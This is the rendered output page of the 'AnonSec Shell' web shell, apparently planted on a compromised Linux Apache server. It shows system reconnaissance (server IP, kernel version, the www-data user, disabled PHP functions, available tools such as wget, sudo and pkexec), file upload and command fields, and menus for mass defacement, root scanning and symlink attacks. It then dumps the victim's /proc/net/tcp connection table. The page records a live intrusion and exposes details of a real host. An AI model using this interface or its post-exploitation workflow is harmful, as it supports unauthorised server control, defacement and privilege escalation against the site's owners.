AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1663/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1663/net//tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   108        0 12901 1 0000000000000000 100 0 0 10 0                     
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11957 1 0000000000000000 100 0 0 10 0                     
   2: 04000E0A:9FC0 AA6284D4:01BB 01 00000000:00000000 00:00000000 00000000    33        0 197217374 1 0000000000000000 30 4 30 2 7                  
   3: 04000E0A:ABC0 58354B14:0CEA 06 00000000:00000000 03:00000DE7 00000000     0        0 0 3 0000000000000000                                      
   4: 04000E0A:ABFC 58354B14:0CEA 06 00000000:00000000 03:0000136E 00000000     0        0 0 3 0000000000000000                                      
   5: 04000E0A:ABCE 58354B14:0CEA 06 00000000:00000000 03:00000E21 00000000     0        0 0 3 0000000000000000                                      
   6: 04000E0A:ABE2 58354B14:0CEA 06 00000000:00000000 03:00000E64 00000000     0        0 0 3 0000000000000000                                      
   7: 04000E0A:ABE8 58354B14:0CEA 06 00000000:00000000 03:00000E7C 00000000     0        0 0 3 0000000000000000                                      
   8: 04000E0A:ABC4 58354B14:0CEA 06 00000000:00000000 03:00000DFA 00000000     0        0 0 3 0000000000000000                                      
   9: 04000E0A:AC10 58354B14:0CEA 06 00000000:00000000 03:000013D4 00000000     0        0 0 3 0000000000000000                                      
  10: 04000E0A:A622 487E9C2B:01BB 01 00000000:00000000 00:00000000 00000000    33        0 79861425 1 0000000000000000 42 4 29 10 -1                 
  11: 04000E0A:ABCC 58354B14:0CEA 06 00000000:00000000 03:00000E12 00000000     0        0 0 3 0000000000000000                                      
  12: 04000E0A:ABE6 58354B14:0CEA 06 00000000:00000000 03:00000E6D 00000000     0        0 0 3 0000000000000000                                      
  13: 04000E0A:AC16 58354B14:0CEA 06 00000000:00000000 03:000013ED 00000000     0        0 0 3 0000000000000000                                      
  14: 04000E0A:AC14 58354B14:0CEA 06 00000000:00000000 03:000013E8 00000000     0        0 0 3 0000000000000000                                      
  15: 04000E0A:AC0A 58354B14:0CEA 06 00000000:00000000 03:000013BE 00000000     0        0 0 3 0000000000000000                                      
  16: 04000E0A:D640 349541B0:01BB 01 00000000:00000000 00:00000000 00000000    33        0 195311684 1 0000000000000000 29 4 30 2 2                  
  17: 04000E0A:ABD0 58354B14:0CEA 06 00000000:00000000 03:00000E33 00000000     0        0 0 3 0000000000000000                                      
  18: 04000E0A:AC0E 58354B14:0CEA 06 00000000:00000000 03:000013D2 00000000     0        0 0 3 0000000000000000                                      
  19: 04000E0A:AC04 58354B14:0CEA 06 00000000:00000000 03:00001397 00000000     0        0 0 3 0000000000000000                                      
  20: 04000E0A:ABDA 58354B14:0CEA 06 00000000:00000000 03:00000E3D 00000000     0        0 0 3 0000000000000000                                      
  21: 04000E0A:ABBE 58354B14:0CEA 06 00000000:00000000 03:00000DDE 00000000     0        0 0 3 0000000000000000                                      
  22: 04000E0A:ABDC 58354B14:0CEA 06 00000000:00000000 03:00000E4C 00000000     0        0 0 3 0000000000000000                                      
  23: 04000E0A:ABC6 58354B14:0CEA 06 00000000:00000000 03:00000DFE 00000000     0        0 0 3 0000000000000000                                      
  24: 04000E0A:ABC2 58354B14:0CEA 06 00000000:00000000 03:00000DF6 00000000     0        0 0 3 0000000000000000                                      
  25: 04000E0A:ABE4 58354B14:0CEA 06 00000000:00000000 03:00000E69 00000000     0        0 0 3 0000000000000000                                      
  26: 04000E0A:AC00 58354B14:0CEA 06 00000000:00000000 03:00001380 00000000     0        0 0 3 0000000000000000                                      
  27: 04000E0A:AC08 58354B14:0CEA 06 00000000:00000000 03:000013AD 00000000     0        0 0 3 0000000000000000                                      
  28: 04000E0A:ABCA 58354B14:0CEA 06 00000000:00000000 03:00000E0F 00000000     0        0 0 3 0000000000000000                                      
  29: 04000E0A:ABFE 58354B14:0CEA 06 00000000:00000000 03:00001378 00000000     0        0 0 3 0000000000000000                                      
  30: 04000E0A:AC02 58354B14:0CEA 06 00000000:00000000 03:00001388 00000000     0        0 0 3 0000000000000000                                      
  31: 04000E0A:AC18 58354B14:0CEA 06 00000000:00000000 03:000013F2 00000000     0        0 0 3 0000000000000000                                      
  32: 04000E0A:AC0C 58354B14:0CEA 06 00000000:00000000 03:000013C8 00000000     0        0 0 3 0000000000000000                                      
  33: 04000E0A:AC06 58354B14:0CEA 06 00000000:00000000 03:000013A3 00000000     0        0 0 3 0000000000000000                                      
  34: 04000E0A:A23C 9DC0D708:01BB 01 00000000:00000000 00:00000000 00000000    33        0 197158447 1 0000000000000000 44 4 29 10 -1                
  35: 04000E0A:ABC8 58354B14:0CEA 06 00000000:00000000 03:00000E03 00000000     0        0 0 3 0000000000000000                                      
  36: 04000E0A:ABE0 58354B14:0CEA 06 00000000:00000000 03:00000E58 00000000     0        0 0 3 0000000000000000                                      
  37: 04000E0A:AC26 58354B14:0CEA 06 00000000:00000000 03:00001559 00000000     0        0 0 3 0000000000000000                                      
  38: 04000E0A:AC1A 58354B14:0CEA 06 00000000:00000000 03:000013FB 00000000     0        0 0 3 0000000000000000                                      
  39: 04000E0A:ABDE 58354B14:0CEA 06 00000000:00000000 03:00000E54 00000000     0        0 0 3 0000000000000000                                      
  40: 04000E0A:AC12 58354B14:0CEA 06 00000000:00000000 03:000013DB 00000000     0        0 0 3 0000000000000000                                      

Anon7 - 2022
AnonSec Team